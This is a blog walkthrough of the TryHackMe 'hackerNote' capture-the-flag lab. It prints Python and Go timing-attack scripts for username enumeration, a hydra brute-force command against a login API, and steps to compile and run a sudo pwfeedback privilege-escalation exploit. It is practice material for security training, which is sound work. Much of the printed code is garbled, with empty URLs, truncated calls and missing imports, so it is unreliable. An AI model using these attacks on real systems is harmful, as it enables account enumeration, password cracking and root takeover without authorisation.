Tryhackme - hackerNote

Tryhackme – hackerNote

In this walk through, we will be going through the hackerNote room from Tryhackme. This room is rated as Medium on the platform and it consist a custom webapp, introducing username enumeration, custom wordlists and a basic privilege escalation exploit. So, let’s get started without any delay.


Machine Info:

ObjectiveA custom webapp, introducing username enumeration, custom wordlists and a basic privilege escalation exploit.

Task 1 – Reconnaissance

Question 1 – Which ports are open? (in numerical order)

  • Used the below command to perform a port and service version detection using nmap.

sudo nmap -sS -sV

nmap scan

Question 2 – What programming language is the backend written in?

Task 1 - Reconnaissance

Task 2 – Investigate

Question 1 – Create your own user account


Login Panel

Register account

Question 2 – Log in to your account

Your notes

Your notes

Question 3 – Try and log in to an invalid user account

Login to hackerNote

Question 4 – Try and log in to your account, with an incorrect password.

Login to hackerNote

Question 5 – Notice the timing difference. This allows user enumeration

Task 2 - Investigate

Task 3 – Exploit

Question 1 – Try to write a script to perform a timing attack.

  • As per the network tab, a request is being made to the /api/user/login endpoint whenever we try to login as a user. There is a time delay when a attempt of login is being done for a valid user, which let us enumerate us the potential users.

Dev tools

Question 2 – How many usernames from the list are valid?

  • I used the the exploit written in go as the python one was really slow. However, with the “go” one, there is a lot of false positives and it requires couple of attempts to get it right.

# Timing attack exploit on the login form for hackerNote
# You can increase your success chance by adding your own username to the top of the list
# Assumes you have at least ONE correct username, create an account and use that!
import requests as r
import time
import json
URL = ""
USERNAME_FILE = open("usernames.txt", "r")
usernames = []
for line in USERNAME_FILE:  # Read in usernames from the wordlist
    usernames.append(line.replace("\n", ""))

timings = dict()

def doLogin(user):  # Make the HTTP request to the API
    creds = {"username": user, "password": "invalidPassword!"}
    response =, json=creds)
    if response.status_code != 200:  # This means there was an API error
        print("Error:", response.status_code)

print("Starting POST Requests")

for user in usernames:
    # Do a request for every user in the list, and time how long it takes
    startTime = time.time()
    endTime = time.time()
    # record the time for this user along with the username
    timings[user] = endTime - startTime
    # Wait to avoid DoSing the server which causes unreliable results

print("Finished POST requests")

# Longer times normally mean valid usernames as passwords were verified
largestTime = max(timings.values())
smallestTime = min(timings.values())
# Ideally the smallest times should be near instant, and largest should be 1+ seconds
print("Time delta:", largestTime-smallestTime, "seconds (larger is better)")

# A valid username means the server will hash the password
# As this takes time, the longer requests are likely to be valid users
# The longer the request took, the more likely the request is to be valid.
for user, time in timings.items():
    if time >= largestTime * 0.9:
        # with 10% time tolerence
        print(user, "is likely to be valid")

package main

import (

var (
	usernameChan chan string
	resultsChan   chan result

type login struct {
	Username string `json:"username"`
	Password string `json:"password"`
type result struct {
	username string
	time     int64

func main() {
	var usernameSlice []string
	var resultsSlice []result
	file, err := os.Open("usernames.txt")
	if err != nil {
	defer file.Close()

	//Create a reader and read usernames in
	scanner := bufio.NewScanner(file)
	for scanner.Scan() { //Build wordlist as a Slice (array)
		usernameSlice = append(usernameSlice, 

	//Create buffers/channels for threads
	bufSize := len(usernameSlice)
	usernameChan = make(chan string, bufSize)
	resultsChan = make(chan result, bufSize)
	log.Println("Usernames buffered, sending requests")

	for i:=0;i<bufSize;i++ { //Send the work to each thread
		usernameChan <- usernameSlice[i]
		//Back off every 50 requests, otherwise you *WILL* DoS the server
		if i % 50 == 0 {time.Sleep(time.Millisecond*200)}
		go doAndtimeRequest(<- usernameChan)
	log.Println("Work sent")

	for i:=0;i<bufSize;i++ { //Retrieve results from each thread
		var res result
		res = <- resultsChan
		resultsSlice = append(resultsSlice, res)
	log.Println("Work completed")

	max := findMax(resultsSlice)

func findValidUsernames(res []result, max int64) { //using the max time, find times within 10% of this and print unames
	threshold := 0.9 * float64(max)
	for _, val := range res {
		if float64(val.time) > threshold {
			log.Println(val.username, "is likely to be valid")

func findMax(res []result) int64 {
	max := int64(0)
	for _, val := range res {
		if val.time > max {
			max = val.time
	return max

func doAndtimeRequest(username string) {
	start := time.Now()
	end := time.Now()
	res := result{username: username, time: end.Sub(start).Nanoseconds()}
	resultsChan <- res

func doLoginPOST(username string) { //This performs the API POST request
	jsonStr, err := json.Marshal(login{Username: username, Password: "invalidPassword1"})
	if err != nil {
	reader := strings.NewReader(string(jsonStr))
	resp, _ := http.Post("", "application/json", reader)

go exploit_go.go

Question 3 – What are/is the valid username(s)?

Password hint

Task 3 - Exploit

Task 4 – Attack Passwords

Question 1 – Form the hydra command to attack the login API route

./combinator.bin ~/CTF/TryHackme/hackernote/colors.txt ~/CTF/TryHackme/hackernote/numbers.txt > ~/CTF/TryHackme/hackernote/wordlist.txt


hydra -l james -P wordlist.txt http-post-form "/api/user/login:username=^USER^&password=^PASS^:Invalid Username Or Password"

Question 2 – How many passwords were in your wordlist?

wc -l wordlist.txt


Question 3 – What was the user’s password?

hydra password attack

Question 4 – Login as the user to the platform

Login to hackerNote

Question 5 – What’s the user’s SSH password?

My SSH details

Question 6 – Log in as the user to SSH with the credentials you have.

user flag

Question 7 – What’s the user flag?

Task 4 - Attack Passwords

Task 5 – Escalate

Question 1 – What is the CVE number for the exploit?

sudo -l

Sudo 1.8.25p Pwnfeedback Buffer Overflow

Question 2 – Find the exploit from and download the files.


Question 3 – Compile the exploit from Kali linux.

gcc exploit.c -o pwn

gcc exploit.c -o pwn

Question 4 – SCP the exploit binary to the box.

scp pwn james@

transfer the exploit


Question 5 – Run the exploit, get root.

Question 6 – What is the root flag?

root flag

Task 5 - Escalate

Task 6 – Comments on realism and Further Reading

Tryhackme - hackerNote

Also Read: Tryhackme – Gallery



So that was hackerNote for you. We first started with a nmap scan with service version detection flag set and found three ports opened – 22 (SSH), 80 and 8080 (HTTP). Enumerated the web application on port 80 and a notes application. I checked the network tab and tried to login, there found out that a login request to an API endpoint at /api/user/login is being made. Used a go exploit to enumerate the potential usernames with the API endpoint. Bruteforced the user james SSH password using SSH and thus got the initial access. At last, escalated our privileges by using Sudo “Pwfeedback” Buffer overflow exploit and got root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top